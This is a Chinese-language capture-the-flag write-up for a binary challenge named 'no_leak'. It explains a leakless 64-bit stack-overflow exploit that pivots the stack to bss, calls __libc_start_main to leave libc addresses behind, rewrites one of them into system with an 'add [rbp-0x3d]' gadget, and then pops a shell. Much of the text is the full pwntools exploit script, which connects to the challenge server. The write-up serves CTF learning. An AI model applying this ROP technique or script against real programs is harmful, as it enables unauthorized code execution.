__do_global_dtors_aux中有一个gadget可以修改stack上的数据。
add [rbp-3Dh],ebx(当rbp和ebx可控时,我们就可以修改rbp-0x3d地址里面的内容,从而获取想要的真实地址。)
nx保护,got表不可改。栈溢出,并且没有任何可输出的函数。首先想到的是利用dl_runtime_reslove,但是dl_runtime_reslove常用于32,并且实操后发现执行不通。
利用思路:
1、迁移到bss段
2、调用libc_start_main,使得bss上残留下原本栈的信息,就会有真实地址在bss上分布。
3、找到一个能用的真实地址,利用神奇的gadget,把他伪造成system,再次跳回到main函数。
4、栈溢出构造system(‘/bin/sh’)
exp:
from pwn import * import sys context.log_level = 'debug' pwn_name = "no_leak" arch = '64' version = '2.27' ip, port = 'nc.eonew.cn', 10002 if sys.argv[1]=="l": p=process('./'+pwn_name) libc=ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False) else: p=remote(ip,port) libc=ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
elf=ELF(pwn_name,checksec=False)
def get_one(): if(arch == '64'): if(version == '2.23'): one = [0x45216, 0x4526a, 0xf02a4, 0xf1147] if (version == '2.27'): one = [0x4f2c5 , 0x4f322 , 0x10a38c] return one
def sym(func): success('{} => {:#x}'.format(func , libc.sym[func])) return libc.sym[func]
def info(con,leak): success('{} => {:#x}'.format(con,leak))
def dbg(address=0): if address==0: gdb.attach(p) pause() else: if address > 0xfffff: script="b *{:#x}\nc\n".format(address) else: script="b *$rebase({:#x})\nc\n".format(address) gdb.attach(p, script)
def cus_rop(gadget1,gadget2,func_got,rdi,rsi,rdx): payload = p64(gadget1) payload += p64(0) payload += p64(0) payload += p64(1) payload += p64(func_got) payload += p64(rdi) payload += p64(rsi) payload += p64(rdx) payload += p64(gadget2) payload += 'a'*56 return payload
one = get_one()
gadget_reg = 0x4005C6 gadget_call= 0x4005B0 magic_gadget = 0x400518 pop_rdi_ret = 0x4005D3 pop_rsi_r15 = 0x4005D1 leave_ret = 0x400564 buf_address = elf.bss() + 0x500 fini = 0x4005E0 init = 0x400570 start = 0x400450
payload = 'a'*0x80 + p64(buf_address) payload += p64(pop_rdi_ret) + p64(0) payload += p64(pop_rsi_r15) + p64(buf_address) + p64(0) + p64(elf.plt['read']) payload += p64(leave_ret) payload = payload.ljust(0x100,'a') p.send(payload)
payload = 'a'*8 payload += cus_rop(gadget_reg,gadget_call,elf.got['__libc_start_main'],start,fini,init) payload = payload.ljust(0x100,'a') p.send(payload)
payload = 'a'*0x80 + p64(buf_address) payload += p64(0x4005Ca) payload += p64(0xFFFFFFFFFFC5EE18) payload += p64(0x601458+0x3d) payload += p64(0)*4 payload += p64(magic_gadget) payload += p64(start) p.send(payload) pause()
binsh = 0x6012b0 system = 0x601458 payload ='/bin/sh\x00'+'b'*0x80 payload +=cus_rop(gadget_reg,gadget_call,system,binsh,0,0)
p.sendline(payload) p.interactive()
|
第一次payload:
栈迁移之后再次ret到read函数。此时rbp已经被覆盖为bss段地址,并且再次执行read函数
第二次payload:
栈迁移往0x601510处读入我们调用libc_start_main的payload。
通用gadget —csu— :
可以看到第一个参数main地址,利用中级栈溢出的方式,成功实现了调用libc_start_main。
第三次payload:
再次read,当我们进去看时,就会发现除了我们的再次输入外,在bss上留下还有一些libc的地址:
选择0x601458作为我们的牺牲品,通过神奇的gadget,add它和system的偏移,就可以把它改成system,同时它的bss地址可以看成是system的伪got表地址。
关于偏移:
在magic_gadget中,add[rbp-0x3d],所以我们0x601458只有加0x3d才是rbp的位置,才能控制rbp。
第四次payload:
改成功了,接着再次回到main函数,直接写binsh到首部,然后中级栈溢出调用system就可以getshell了: